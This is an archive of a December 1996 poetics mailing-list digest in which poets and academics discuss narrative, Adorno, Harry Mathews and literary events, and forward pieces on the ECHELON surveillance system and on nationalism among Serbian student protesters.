Here's another story. Interesting episode of "Frontline" something over a year ago I think in which they took on the question of the effects television violence. Some material there already for a discussion of narrative, but what really interested me was the "dangerous world" theory some professor offered, that because of the dynamics of tv news, the coverage of crime, etc., many people come to believe the world is a more dangerous place than it really is. And my corollaries to this theory were that, believing this, people stay home, abandoning public space to the criminals, and thus in fact making the world more dangerous. It seemed to me there may have been a loss of the sort of

street life you see in movies from the fifties and earlier, when good & bad shared the public space.

This has to do with paranoia. Funny thing -- this ties in with your story here -- a friend of mine, Mark Faller, suggested that evolution might actually reward paranoia, a hypersensitivity to threats, etc., and that we may be one of the species in which this occured. Food for thought.

It would be interesting to consider narrative and causality and the ascription of motives. (I can't resist quoting this, Phil Dick said paranoia is not when you think your boss is out to get you -- he probably is anyway -- it's when you think your boss's _phone_ is out to get you.) The problem of "other minds". The pathetic fallacy. All these things tie together. Aw hell I'm starting to sound nietzschean after all these years again, because in the back of my mind I want to say that belief in causality derives from an ascription of motive or purpose to objects, the universe, whatever -- and that's a lot of crap.

Looping back -- on that other poetry list a while back, there was mention of Forster's distinction (in that little book on the novel) between story (and then ... and then ...), mere sequence, and plot. The boy died and then his mother died -- story. The boy died and then his mother died of grief -- plot. Descriptions in sequence are narrative, but not yet explanation, story but not yet plot. Maybe. And a scientist or a doctor or a poet can try to stop at mere sequence as an attempt at more reliable (or something) cognition. (Another tangent?! Frank O'Hara's "I do this, I do that" poems.)

I'd like to do better than this. Your post raises key questions, Tom, about making meaning of what may or may not have meaning. I used to try to imagine what it was like to live in the Middle Ages, when everything might carry some meaning, when everything could be a sign requiring interpretation. We seem to live with meaning scarcity as people other times and other places have lived with a meaning glut. You have to wonder about language, the brute physicality of signs, bearers for us sometimes of meaning. What a shift from believing language itself is natural because God gave it to us, and believing it natural because it evolved. An emergence of meaning out of meaninglessness, where before there was nothing outside the universe of meaning, the physical universe itself a sort of language. The sort of cognition I've been commending, the scrupulous scientist resisting premature closure, that's a drive toward meaninglessness, or at least a resistance to meaning. Maybe it's wrong to talk about language at all in this way -- something about all this is starting to feel a little screwy. But I always end up here when I think about language, it's just a mystery to me, never really makes sense.

And yet there's faith, as I posted a while ago, and I have some kind of faith in it, and here I am confidently using language. And thinking it's no coincidence that

in my little tract on the philosophy of science I mentioned parenthetically the belief that the universe is orderly and predictable as massively undersupported by the available evidence (by definition really) and yet a tacit premise in all scientific argument. Evolution again, adaptive understanding? Or nietzschean again, the idea that we might be imposing this order on our experience. (Strange, his intersection with and antipathy toward Darwin.) I don't know where to go with this -- why I try not to think about the big stuff too much anymore.

But for poetry -- maybe there is a sort of double vision, to perceive the brute sign, its sound its shape, as well as the meaning it carries, and also the usual contexts of that meaning, and the other meanings that sign can carry, and so on. Multiple, rather than just double, perception. And for the scientist too, who observes carefully in order to find the right explanation eventually. For that, you need only turn to Kafka's maxim that all sins originate in impatience. That one's close to my heart. What I'd like to be thinking about, instead of the unwieldy issues here, are these questions of discipline, attention -- good word, recently discussed a bit here -- care. "No where in man," wrote Charles Olson, "is there room for carelessness." That one's close to my heart too.

Enough for now, too much even,
Pat

↑ Index

376. **David Carl**
Re: POETICS Digest - 11 Dec 1996 to 12 Dec 1996
Fri 13 Dec 1996

> *my post on Theodor*
> *Wiesengrund-Adorno and his attempt to ingratiate himself with the Nazis*
> *by praising Baldur von Shirach's fascist poetry, and his smarmy attempt*
> *30 years later to excuse himself was an ad hominem attack.*
>
> *It was so for two reasons. These are my beliefs; that's the first*
> *reason. And since I received tenure long ago and on another planet I am*
> *unmotivated to suppress my beliefs.*

does anyone believe that actually considering Adorno's more significant works (besides an isolated review, of which he has written volumes, and a single questionable letter) might also be legitimate criteria to consider in evaluating him; and more importantly, does anybody really care what kind of a person Adorno was? what does that have to do with the significance of Dialectic of Enlightenment or Negative Dialectics. Surely we don't have to rehash the Pound debate that raged on this list 6 months ago or so.

↑ Index

377. **George Bowering**
Re: Odradek as tort
Fri 13 Dec 1996

Oh I know you. You will find out that Mathews has an ambiguous attitude toward women.

> *George, that's a great idea. But will they find out what _I_*
> *find out on the last two pages?*
>
> *Yeah, PQ, it seems hard to believe that the Carcanet edition was publisht*
> *1985!*
>
> *Hey, if you DO teach it, I am going to tell all your students what you find*
> *out in the last 2 pages!*
>
> *George Bowering.*
> *,*
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]
>
> +
> *Peter Quartermain*
> *128 East 23rd Avenue*
> *Vancouver*
> *B.C.*
> *Canada V5V 1X2*
> *Voice and fax:* [redacted]
>
> +

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

378. George Bowering
Re: To have knocked an Adorno, this is not vanity
Fri 13 Dec 1996

> *Adorno's "jazz" commentary a good example for our recent discussion, which I will not here rehash -- It's clear that whatever else Adorno knew, and he knew quite a bit about quite a lot I still believe, he had little technical knowledge of jazz and the playing thereof --*

Well,those Europeans. I mean, how many times have you heard that a serious composer has introduced jazz inflections (or folk) into his composition, and you listen to it and wonder what he thinks jazz might be?

Or Robert Duncan. Once he told me and someone else that he had been listening to jazz, and was newly interested in incorporating jazz rhythms or something. I was all agog over Charles Tyler and Marion Brown at the time, so I asked him what jazz, for instance. He said, oh you know, Noel Coward!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

379. 9448721p
art&language
Fri 13 Dec 1996

Re: Bennett`s request for information on A&L:

This`ll be vague, coming straight off the top of my head but, Charles Harrison, Terry Atkinson and another bloke whose name I forget form A&L around `66 (possibly two years later?) and all work at the art college in Coventry. Can probably be regarded as the first English conceptualists; they begin an eponymous journal which publishes their own articles and articles by overseas artists with whom they establish contact, esp. Joseph Kosuth and Sol Le Witt. Their writings draw on Wittgensteinian theory of language and philosophies of mind, with strong commitment to Marxism, and, among other things, work to

theorise the extension of the art object along all axes. Early seventies, the college appoints a new principal whose first act in office is to sack all the A&L people.

Atkinson breaks with the others in, I think, `74. (I have a strange account by TA himself of the acrimonious split, to do with what he sees as a stultifying hierarchy emerging in the group, with Harrison and acolytes as the managerial class, as they work on their big Indexing project. Atkinson retreats more and more to his own studio and begins to identify secretly with Rimbaud as a rebellious precursor, then starts working on a series of figurative/landscape works set in WW1 - what he sees as the polar opposite of the Indexing...)

Harrison is an author, editor, reviewer (he reviewed Thomas Crow`s new book in the latest Art Forum) and has published a book of essays on A&L. Atkinson is still a practising artist and occasionally writes (usually polemical) pieces for British art magazines, crticizing Harrison`s "revisionist" account of the A&L thing, or having a go at the neo-conceptualists who are revising A&L`s ground-breaking work in the direction of the market.

Can`t fill you in on how they linked up with Red Krayola but I do know all the words to Portrait of V.I. Lenin in the Style of Jackson Pollock, Part One (the standout track from the KANGAROO album and named after an actual series of paintings by A&L).

I have some material at home which, when consulted, could settle the dates and allow me to expand on any of this if people are interested.

robin

↑ Index

380. Ron Silliman
Response to Mark (et al)
Fri 13 Dec 1996

Mark,

I don't think that you should read into my comments (or Tom's, or Bill's, or James Sherry's or Kit Robinson's or Bob Harrison's or Alan Bernheimer's or Colleen Lookingbill's or Barry Cox's or any writer involved in the information industry (nice oxymoron, that)) that the computer industry is in any way "better" than the academy. It is raw capitalism plain and simple. Whenever I am with any of the above, we tend to be as (or more) harsh about it than we are the academy. However, it does have its rewards. The pay, the toys, being able to work in a field that changes rapidly and seldom bores.... Being raw capital, the politics of it tend to be straightforward, though there are exceptions to that.

However, there is a privilege that the academy (I hate that generalization, but can't think of anything better at 7 AM) takes on with respect to poetry (and thus this list) that I think tends to irk at least me. Certainly the evidence of the 20th century has been that cities, not schools, have been the significant sites for literature, and the 19th, 18th, 17th centuries, etc., were no different. Better to be in DC, NY, SF, Boston, San Diego than to attend, say, Stanford, Buffalo, Iowa City or wherever. Not that schools don't have a value, but their importance will never even remotely approach their self importance.

Case in point: there is, in the current issue of the MLA publication, The Profession, which is sort of the theoretical journal of the meat market that's about to hit DC, on working in the computer industry by somebody who has been out in the job market for all of one year. There are literally thousands of ex-grad students, PhDs, etc, outside of the academy, many of whom have been that way for 3 or 4 decades (the CEO of my company was an English major who started with a summer job as a secretary, then became a programmer with no experience whatsoever, and just forgot to go back to grad school), but this is who they found. While I'm sure the theory may have been that he was at or near the level of most job-seeking grad students today, his freshness off the reservation really shows. His motivation (better surfing in San Diego than in Iowa) says it all.

Aside on the novels of Harry Matthews. There is a member of this list (whom I shall not reveal, though he may choose to do so himself) who once upon a time was employed editing the Collected Novels of HM when at, I believe, MacMillan. However, it was slow going and the folks upstairs did not really think it was going to be a best seller, so got on his case to get some other books out. One little item that he did choose, just to get them off his back, was a "Christmas item" called _Jonathon Livingston Seagull_. Later, when he left the company, the book was homeless until Random House picked it up.

Here's a question, thinking of Matthews, Calvino, Queneau, Roubaud: what determines who among the Oulipolians (Oulipuddlians?) became "popular," got translated, etc.?

Another question: Can anyone tell me what the origin of the phrase "the ghost in the machine" happens to be?

Thanks,

Ron Silliman

↑ Index

381. Michael Boughn

Re: Wild taste

Fri 13 Dec 1996

> *I'd like to do better than this. Your post raises key questions, Tom, about making meaning of what may or may not have meaning. I used to try to imagine what it was like to live in the Middle Ages, when everything might carry some meaning, when everything could be a sign requiring interpretation. We seem to live with meaning scarcity as people other times and other places have lived with a meaning glut.*

This is particularly interesting here in terms of a recent reaction against Cronenebrg's _Crash_ in various newspapers. It is now being dismissed in long articles for being _boring_, and whatever excitment and acclaim the movie has generated is now attributed to narratives being generated by reviewers "drunk from the potent cocktail of advertising" blah blah blah.

What becomes rapidly obvious is that "boring" means in violation of Aristotelian narrative structure which assumes not just the telling of an event but a specific organization of the telling, one that generates suspense, rising tensions, catharsis, etc. Cronenberg uses the narrative form of the pornographic movie as the pop culture generic structure he hangs his images on--one sex scene follows another with the focus always on the spectacle of the bodies, not the connection between the scenes.

It's a poetics of the image in which meaning hovers without proceeding. An early image for instance lovingly shows Spader/Ballard's severely wrecked leg encased in a cage of stainless steel and leather with large screws penetrating the flesh. And then there's the car wash scene, which I won't go into here, but involves an intricate and brutal human voyeurism/eroticism encased within a machine that itself is encased within another machine that is "making love" to it. It becomes unclear whether the eroticism of the machines is mirroring the human or whethere the human is mirroring the machines it is encased within. It would take a poem to match what Cronenberg does visually, because only a poem could unleash the unresovable simultanaeity, the almost overwhelming and threatening power of meaning hovering around the spectacle.

I think this is where I'd argue with you, Pat. We, too, live in a time where everything carries meaning, where everything is a sign requiring interpretation, but what they have to tell us is so sinister that we compose lives in resistance to reading them. We prefer the narrative that supplies us with the quick social fix. Whereas a sensitivity and alertness to what Wystam calls our violent tastes could, at the very least, cut us loose into some pretty scary territory.

Mike

[redacted]

↑ Index

382. Fred Muratori
Ghost in the Machine
Fri 13 Dec 1996

Re:

> *Another question: Can anyone tell me what the origin of the phrase "the ghost in the machine" happens to be?*
>
> *Thanks,*
>
> *Ron Silliman*

Ron (and others who might be interested...)

The phrase "ghost in the machine" comes from Gilbert Ryle's 1949 book _The Concept of Mind_, in which he discusses "the dogma of the Ghost in the Machine" which maintains that "...there are mechanical causes of corporeal movements and mental causes of corporeal movements (p. 22)." Lest anyone think I'm an expert on _nous_, this info comes from the OED, to which I, as a librarian, have quick and easy access. My initial impulse in answering this question was to yell "Sting!"

****
Fred Muratori "Certain themes are incurable."

([redacted])
Reference Services Division - Lyn Hejinian
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

383. Hank Lazer
Re: MLA
Fri 13 Dec 1996

Poetics folks going to MLA--

You are invited to drop by The University of Alabama Press booth (#1209 -- open 9-6 12/28 & 12/29; 9-1 on 12/30). Curtis Clark, new Senior Editor, will be there. He's handling the literary criticism area for the press, and he'd be delighted to meet you, talk with you about ongoing projects.

Hank Lazer

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384. **tmandel**
Odradek Stadium
Fri 13 Dec 1996

The omnibus volume Harper published in I think 72 including all three of Harry's novels to that date (The Conversions, Tlooth, and Sinking of the Odradrek Stadium) was *my* idea. I suggested it to Harry's then agent and to Macmillan where I was then working (having dropped out of grad school and moved to NY). Naturally, Macmillan didn't get it, and the idea was then proposed to an editor then working at Harpers (McCullough? -- cannot bring her name out of the mist, sorry) and who had been interested in the New York school -- she'd published Great Balls of Fire (Padgett), Space (Coolidge) and Lewis Macadam's first book (again I can't bring it forth).

I had originally called his agent because I was looking for a copy of Tlooth -- having loaned mine into some friendly whirlwind or other.

Altho Macmillan didn't publish the volume, my proposal led to meeting Harry. A good thing.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

385. **henry gould**
Re: Ghost in the Machine
Fri 13 Dec 1996

I may have missed earlier comments on this thread, but I've always connected "ghost in the machine" with the dramaturgical technique of deus ex machina. Which maybe also has a prior mythological or religious basis. - H. Gould

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386. Charles Alexander
Re: Paul Carroll/Big Table
Fri 13 Dec 1996

At 07:03 PM 12/12/96 -0500, you wrote:
>There is a copy of Big Table #1 at my local, expensive rare books shop here in
>Mpls, or at least it was there last time I looked. Anyone interested?
>
>Sarah

And a nice copy of the very rare Letters by Robert Duncan at my local used/rare book shop here in Tucson. Actually not "my" shop, it's Larry McMurtry's shop. At $250, too expensive for me. But if anyone is interested, I could reserve it for them.

charles alexander
e-mail back channel to [redacted]

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387. amato
Re: Unorthodox Westerns
Fri 13 Dec 1996

nice to be back alive, with a new floppy drive, to boot...

not to even attempt to steal thunder from rob hardin aka fantoma's fanboy catfight epicurean unseen legend -- but, uhm, george, i did in fact mention *ride the high country* (way back on 2 december)... there's been so many posts on this thread that it's just difficult as hell not to miss something... still, i wouldn't want you to think that nobody around here had called attention to this latter... what i like about this flick esp. is the mix of villainy and loyalty represented by scott's character, and good ole joel is excellent as usual... and there are some darker undercurrents in the film that seem to be only hinted at (i suspect the cutting room floor here)...

i think rob's right, though, george, even though i do understand what you're getting at... sure, you miss a valuable dimension of leone, say, w/o having seen the ford stuff (and again, w/o having seen kurosawa---*a fistful of dollars* is at times a scene-for-scene remake of *yojimbo*, albeit different in technique)... on the other hand, there's something to be said for NOT picking up on those references (if you will), for doing the historical thing in reverse...

this, you might say, is an advantage of the present vis-a-vis the past... though of course one might wanna be wise about such retro-viewings...

best,

joe

↑ Index

388. **amato**
Re: Wild taste
Fri 13 Dec 1996

---

along the lines that patrick and tom are moving -- esp. the question of evolution and meaning -- i can't recommend strongly enough richard powers' novel from a few years ago, _the gold bug variations_... i know of no piece of writing that pushes the language/dna analogy further, and with more emphasis on narrative as a correlative development...

joe

↑ Index

389. **amato**
Re: Response to Mark (et al)
Fri 13 Dec 1996

---

like ron, i too read that _profession 96_ piece on surfing and tech. writing with two eyebrows raised... it's not only that the writer comes off as green, it's that related controversies are mooted throughout---such as those having to do with whether doing the work the writer describes really requires a phud in english, finally...

i think not...

and sooner or later, but probably sooner, the number of such tech. writing jobs available for phuds in english will probably taper off... b/c the number of managerial jobs will taper off... in fact, this is what's being proposed in that piece---entry into the managerial ranks, via a phud in english... the phud manages other writers, writing, etc... which is, again, to ignore what the tech. writing field constitutes, esp. post wwii, in the way of corporate-academic collusion (it's one thing to *do* tech. writing, whatever it is, it's another to permit corporations to dictate how tech. writing will be taught)...

in any case, reading through this issue of _profession_ constitutes a good introduction to just how at odds with ourselves we academics can be... the mag. begins with "literary study in the transnational university," j. hillis miller's gloss on that book i mentioned some time ago, bill readings' _the university in ruins_ (in which miller skillfully underwrites and understates readings' notion that the university is becoming a transnational *corporation*); continues through some nice if somewhat obvious ideas by leroy searle on educating students about education; offers up some real polemic from cary nelson re how to recast the

mla (a refreshing, if a bit insular view of the profession); provides us with john guillory's critique of "preprofessionalism" in grad. studies (which would be ok were it not for the fact that what guillory describes as, finally, a "phantasmic deformation of professional desire" is ALSO a very real, very programmatic trend in academe, as indicated by the growing number of *preprofessional* degrees on, uhm, my campus)...

there is some value, perhaps, in discussing self-loathing in this context... academics and intellectuals can be damned good at it (as can certain ethnicities)... engineers, the crowd with which i used to hang, have a peculiarly self-aggrandizing self-conception... this is largely owing, as i see it, to their relative inability or unwillingness to contend with the broader social/cultural context of their work... robert pinsky has a nice piece in the recent _doubletake_ on precisely this phenomenon, "nerds, technocrats, and enlightened spirits" (there's also a piece on poetry i found incredibly retro, by the poetry editorial adviser, edward hirsch, "how to read these poems"... UGH)...

anyway, _profession 96_ would make an excellent stocking stuffer for those of you with academic friends...

hurry while the supply lasts!...

etc...

joe

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390. Steven Clay
Granary Books open hours
Fri 13 Dec 1996

Those in the New York City area might be interested to know that Granary Books will be open to the public for several days in December, specifically:
Friday Dec 13
Saturday Dec 14
Thursday Dec 19
Friday Dec 20
Saturday Dec 21
Noon till 7:00 pm
Along with recent Granary publications (Robert Creeley & Alex Katz, Kurt Schwitters [translated by Jerome Rothenberg] & Barbara Fahrner, Ligorano/Reese, Johanna Drucker, Kim Lyons & Ed Epping, J. Rothenberg & David Guss' anthology 'The Book, Spiritual Instrument' and more) we have a substantial stock of hard-to-find related materials: art, artists' books,

poetry, book art (documentation & catalogs.) (Wide price range.)
Definitely worth a look.
Granary is located at
568 Broadway #403 (at the corner of Prince St. in Soho, directly across the street from the Downtown Guggenheim)
New York 10012
[redacted]

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391. aerialedge
More on Group Reading at MLA
Fri 13 Dec 1996

We've got a larger space for the Bridge Street/Aerial group reading at MLA. Following the book party for Madame Perloff we will be going around the corner (3 doors away) to a conference room for 100 at the Four Seasons. Yes, there will be a bar, also a microphone. So, all ya'll come to Bridge Street between 7:30 & 8:30. If you're late come by the store for directions for where to go in the Four Seasons. Readers should expect seven minutes each. It's

Friday Dec 27th @ 7:30
Publication celebration for _Wittgenstein's Ladder_ by Marjorie Perloff.

& then at 8:30
Group Reading

Charles Bernstein, Lee Ann Brown, Norma Cole, Peter Gizzi, Loss Glazier, Carla Harryman, Hank Lazer, Andrew Levy, Bill Luoma, Douglas Messerli, Jennifer Moxley, A.L. Nielsen, Ted Pearson, Bob Perelman, Juliana Spahr, Barrett Watten, & Elizabeth Willis.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC ph
[redacted]

Bridge Street Books is in the first block of Georgetown as you're coming from the direction of the White House, between 28th & 29th streets NW. The closest metro stop is Foggy Bottom, about a 5 minute walk.

↑ Index

392. Pierre Joris
[Fwd: Re: Return of the Real: Exposing the Global Surveillance System (fwd)]
Fri 13 Dec 1996

This is a multi-part message in MIME format.

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

id JAA27360; Fri, 13 Dec 1996 09:46:50 -0800
Date: Fri, 13 Dec 1996 09:46:49 -0800 (PST)
From: { brad brace } <[redacted]>
Subject: Re: Return of the Real: Exposing the Global Surveillance System (fwd)
To: [redacted]
Sender: [redacted]
Reply-To: [redacted]

[snip]...

Designed and coordinated by NSA, the ECHELON system is used to intercept ordinary e-mail, fax, telex, and telephone communications carried over the world's telecommunications networks. Unlike many of the electronic spy systems developed during the Cold War, ECHELON is designed primarily for non-military targets: governments, organizations, businesses, and individuals in virtually every country. It potentially affects every person communicating between (and sometimes within) countries anywhere in the world.

The ECHELON system is not designed to eavesdrop on a particular individual's e-mail or fax link. Rather, the system works by indiscriminately intercepting very large quantities of communications and using computers to identify and extract messages of interest from the mass of unwanted ones. A chain of secret interception facilities has been established around the world to tap into

all the major components of the international telecommunications networks. Some monitor communications satellites, others land-based communications networks, and others radio communications. ECHELON links together all these facilities, providing the US and its allies with the ability to intercept a large proportion of the communications on the planet.

http://mediafilter.org/caq
http://www.worldmedia.com/caq

** End of text from cdp:covertaction **

----------26805A695346--

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393. **robert drake**

Re: Granary Books open hours--forwarded msg

Fri 13 Dec 1996

> *Those in the New York City area might be interested to know that Granary Books will be open to the public for several days in December, specifically:*
> *Friday Dec 13*
> *Saturday Dec 14*
> *Thursday Dec 19*
> *Friday Dec 20*
> *Saturday Dec 21*
> *Noon till 7:00 pm*
> *Along with recent Granary publications (Robert Creeley & Alex Katz, Kurt Schwitters [translated by Jerome Rothenberg] & Barbara Fahrner, Ligorano/Reese, Johanna Drucker, Kim Lyons & Ed Epping, J. Rothenberg & David Guss' anthology 'The Book, Spiritual Instrument' and more) we have a substantial stock of hard-to-find related materials: art, artists' books, poetry, book art (documentation & catalogs, how-to etc.) (Wide price range.) Definitely worth a look.*
> *Granary is located at*
> *568 Broadway #403 (at the corner of Prince St. in Soho, directly across the street from the Downtown Guggenheim)*
> *New York 10012*
> [redacted]

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394. **acgold01**
UK events
Fri 13 Dec 1996

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

To my UK friends and listmates:

Anything (readings, gatherings, talks) happening over there in the Dec. 31-Jan. 10 period? I know this is pretty much *the* deadest time of the year, along with August, but I thought I'd ask; I'll be over for a visit between those dates.

Alan

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395. **Tosh**
Re: Granary Books open hours--forwarded msg
Fri 13 Dec 1996

> *Along with recent Granary publications (Robert Creeley & Alex Katz, Kurt Schwitters [translated by Jerome Rothenberg] & Barbara Fahrner,*

Is there a new Kurt Schwitters book out?

tosh

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396. **Jeremy F Green**
Re: ad hominem ad nauseam
Fri 13 Dec 1996

Rushed and random as ever, I'm afraid, but here goes:

-- apologies to all for the repetition of my response to Tom Mandel's post on Adorno--lurker's ineptitude

-- there was absolutely no suggestion intended that Arendt's record was marked by collaboration; as to what she says about Adorno in the correspondence with Jaspers, I've yet to make it to the library, but am indebted to Tom for the reference and for the information about the review in question

-- I was not intending to be "corrective" of Tom's revulsion, nor was I trying to draw him into a debate in which he does not wish to participate (the backchanneling was, again, a matter of having fumbs for thingers). I took it that he posted the information and his opinion to prompt serious debate--at

least among those who are interested in Adorno and the issues of aesthetics and politics (which are often rehearsed on this list). For this reason, I was concerned that the ad hominem attack would simply result in a complete refusal to read Adorno and engage in such debate. The key question, it seems to me, is how these revelations--and I'd be very interested to have more info. (on the list or backchannel)--should affect the understanding of Adorno's work. Does the work itself, in the thirties and later, have a collaborationist agenda? This would be very tough to prove, I think, but the question remains to be argued out. And even if it were to be demonstrated, would this mean that the significant post-War work is no longer of interest? As a result, the comparison with de Man does not seem instructive to me (ok, "likening" was careless, but instructive comparisons are not formed on the basis of unlike things). Again, this remains to be argued (no, Tom, I'm not trying to draw you into the whole unwelcome business again); at present, it is no more than innuendo.

-- no argument, though, about the dogmatism (and racism) of the jazz writing (which others have mentioned). It's curious that some of his rabid opinions on jazz were published under the pseudonym "Hektor Rottweiler"--one almost suspects (contrary to all evidence) that the guy had a sense of humor. (As several critics have pointed out, however, his writings on the dialectics of Schoenberg's work in fact apply remarkably well to the development of jazz).

Anyway, that's more than enough from me

jfg

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397. Gabrielle Welford
Re: VOICE YOUR SUPPORT (fwd)
Fri 13 Dec 1996

Another view on Serbia. gab. (Tell me if this is inundating & too annoying)
---------- Forwarded message ----------
Date: Thu, 12 Dec 1996 03:55:11 -1000
From: Kim Elliott <[redacted]>

I thought this might be of interest to people following the demonstrations in Serbia.

writes:
> > From [redacted] Tue Dec 10 20:46:34 1996
> > Reply-To: Tribunal Watch List <[redacted]>
> > From: Vanja Filipovic <[redacted]>
> > Subject: Re: The Third Option in Serbia

> > To: [redacted]
> >
> > Dear Tribunal Watchers,
> >
> > this is my first posting in this group. I would like to say that I've been
> > closely following the media reports on demonstrations first in Zagren and
> > then in Belgrade. I think people here, in the United States, and perhaps in
> > the Western Europe, are getting too carried away with demonstrations in
> > Serbia, and looking at them as "democratic." There is nothing democratic
> > about these demonstrations. As much as I would like to see Milosevic
> > stepping down, I am fearful that some hard line, ultra-nationalist Serb
> > will take his place. These demonstrations are turning more and more
toward
> > "Serb student demonstrations," as the following article from today's New
> > York Times shows..
> >
> > I am sorry to say this, but I do not believe that there is a developed
> > democratic political culture anywhere in Serbia, except for a handful of
> > intellectuals and students which should be distancing themselves away
from
> > the nationalist crowd, perhaps making demonstrations on their own. And
> > there is no doubt in my mind, after seeing scenes from demonstrations on
> > the TV (seeing nationalist Serb flags, raised hands with three-fingered
> > symbols and reading the comments that Belgrade students give to the
foreign
> > press) that this crowd is overwhelmingly nationalistic-spirited. Besides,
> > in none of their demands do they ask for better human rights in the Kosova
> > and Sanjak, much less do they call for the arrest of the indicted war
> > criminals. On the contrary, some of these students blame Milosevic for
> > failing to win the war in Croatia and Bosnia...
> >
> > Regards,
> >
> > Vanja Filipovic
> > The New York Times
> > December 10, 1996
> >
> > Fierce Serb Nationalism Pervades Student Foes of
> > Belgrade Leader
> >
> > By CHRIS HEDGES
> >

> > [B] ELGRADE, Serbia -- The front door of the Philosophy
> > Department at Belgrade University is guarded by
> > several curt young men with tags on their jackets
> > identifying them as "security." The students frequently
> > turn away visitors and at times verbally abuse them as
> > "liars" or "American scum." Students who attempt to
> > speak to outsiders are told by the security detail that
> > only "the committee" has the right to make statements.
> >
> > On Sunday night, Jack Lang, former minister of culture
> > in France, arrived to express his support for the
> > student protesters. He was escorted by young men in
> > green fatigue jackets to a room where he was declared
> > "an enemy of the Serbs" and ordered to leave.
> >
> > Lang stumbled unwittingly on the virulent Serbian
> > nationalism that has increasingly colored the
> > anti-government protests by students here. The incident,
> > intellectual dissidents in Belgrade say, illustrates
> > that the challenges for those who want to change Serbia
> > do not lie in overturning the rule of one man, but in
> > transforming a society that considers racist remarks to
> > be acceptable and has learned to express itself in the
> > language of hate.
> >
> > "Students, professors, and many Serbs have simply
> > switched their ideological iconography," said Obrad
> > Savic, the head of the Belgrade Circle, a dissident
> > group. "They have shifted from a Marxist paradigm to
> > Serbian nationalism. We have failed to build an
> > intellectual tradition where people think for
> > themselves. We operate only in the collective. We speak
> > in the plural as the Serbian people. It's frightening,
> > especially in the young. It will take years for us to
> > rid ourselves of this virus."
> >
> > The demonstrations, which pull some 25,000 students into
> > the streets each day at noon, are separate from the ones
> > later in the day that involve the political opposition
> > coalition. In fact, the students, who say their movement
> > is outside politics, refuse to even meet with the
> > coalition.

> >
> > Tens of thousands of students occupied university
> > buildings two weeks ago to protest the government's
> > nullification of local elections that would have given
> > the political opposition coalition control of 14 of
> > Serbia's 19 largest cities.
> >
> > On Monday afternoon, student leaders gave a variety of
> > reasons for Lang's expulsion, saying that he had
> > supported a call by French intellectuals to bomb
> > Belgrade during the war in Bosnia, although Lang, at the
> > time, denounced the suggestion. Others said they wanted
> > to protect him from hostile students, that he had come
> > unannounced and that he had "violated the rules" by
> > arriving with reporters who wanted to "manipulate" the
> > visit for Western propaganda. They also said that since
> > Lang had addressed a gathering by the opposition
> > coalition he had no right to address student protesters.
> >
> > "Lang, like everyone who comes into this building, must
> > respect our rules," said Viktor Farcic, a gaunt
> > 22-year-old in a long black overcoat. "He violated our
> > rules and he was asked to leave. We run things here."
> >
> > The students say their movement, unlike protests by the
> > opposition coalition known as Zajedno, is apolitical,
> > although their demands certainly have a political cast.
> > They include the government's acceptance of the original
> > vote count and the resignation of Dragutin Velickovic,
> > the pro-government rector of the university. But student
> > leaders also attack President Slobodan Milosevic, not
> > for starting the war in Croatia and Bosnia, but for
> > failing to win it.
> >
> > "Milosevic betrayed the Serbian people," said Goran
> > Kovacevic, a 19-year-old student. "We go to class with
> > Serbs from Croatia and Bosnia who lost their homes
> > because Milosevic sold us out to the West."
> >
> > Student organizers are calling on women to march in
> > traditional Serbian costumes. There are a growing number
> > of Serbian flags in the crowd and the central student

> > committee is considering starting rallies with "God Give
> > Us Justice," the anthem of the old Kingdom of
> > Yugoslavia.
> >
> > Although the students have shunned the opposition
> > politicians, they have requested an audience with
> > Patriarch Pavle, the head of the Serbian Orthodox
> > Church, the institution that gave birth to the modern
> > Serbian nationalist movement.
> >
> > The students rejected a suggestion that they also see
> > Belgrade's Catholic cardinal and the mufti, who is the
> > leader of the tiny Islamic community.
> >
> > "This is no longer a student movement, but a Serbian
> > student movement, and those who are not nationalists are
> > not welcome," said Kristina Horjak, whose father is from
> > Slovenia.
> >
> > The destruction of the country's educational system
> > began under Tito's communist rule. Departments were
> > purged of professors who refused to teach subjects like
> > "Marx and Biology" and adhere to party doctrine. Many of
> > the best academics were blacklisted or left the country.
> >
> > There was a brief span of two or three years following
> > Tito's death in 1980 when university faculties, freed
> > from party dogma, reached out to Western intellectual
> > traditions. But this was swiftly terminated with the
> > rise of Serbian nationalism.
> >
> > By the mid-1980s the History Department, giddy with the
> > new orthodoxy, was exalting Byzantine culture and using
> > it as a tool to bash Western ideas. The works of Serbian
> > nationalist writers were taught in literature classes
> > and Serbian philosophers, who espoused theories of
> > racial superiority, including the idea that the Serbs
> > were the oldest human race, dominated university
> > classrooms.
> >
> > The war only accelerated the decline in the educational
> > system. Over 400,000 Serbs, many of them young and

> > talented, left the country in the last five years. And
> > academic standards fell as Milosevic put party hacks in
> > charge of schools and departments and sliced government
> > spending for education.
> >
> > Miladin Zivotic, a white-haired former professor of
> > philosophy and one of the country's leading academics,
> > was blacklisted in 1968 after he expressed open support
> > for students protesting against the party's control over
> > the university. He was not permitted to teach again
> > until 1987. But he was soon embroiled in another war
> > with rigid ideologues.
> >
> > "I could not stand to go to work," he said. "I had to
> > listen to professors and students voice support and
> > solidarity for these Bosnian fascists, Radovan Karadzic
> > and Ratko Mladic, in the so-called Republic of Srpska.
> > It is worse now than it was under communism. The
> > intellectual corruption is more pervasive and profound."
> >
> >
> >
> > Copyright 1996 The New York Times Company
> >
> > ---
> >
> > Haverford College
> > [redacted]
> > http://www.students.haverford.edu/vfilipov
> > http://www.he.net/~adamar/vanja
> >
>
>
> --
> ***
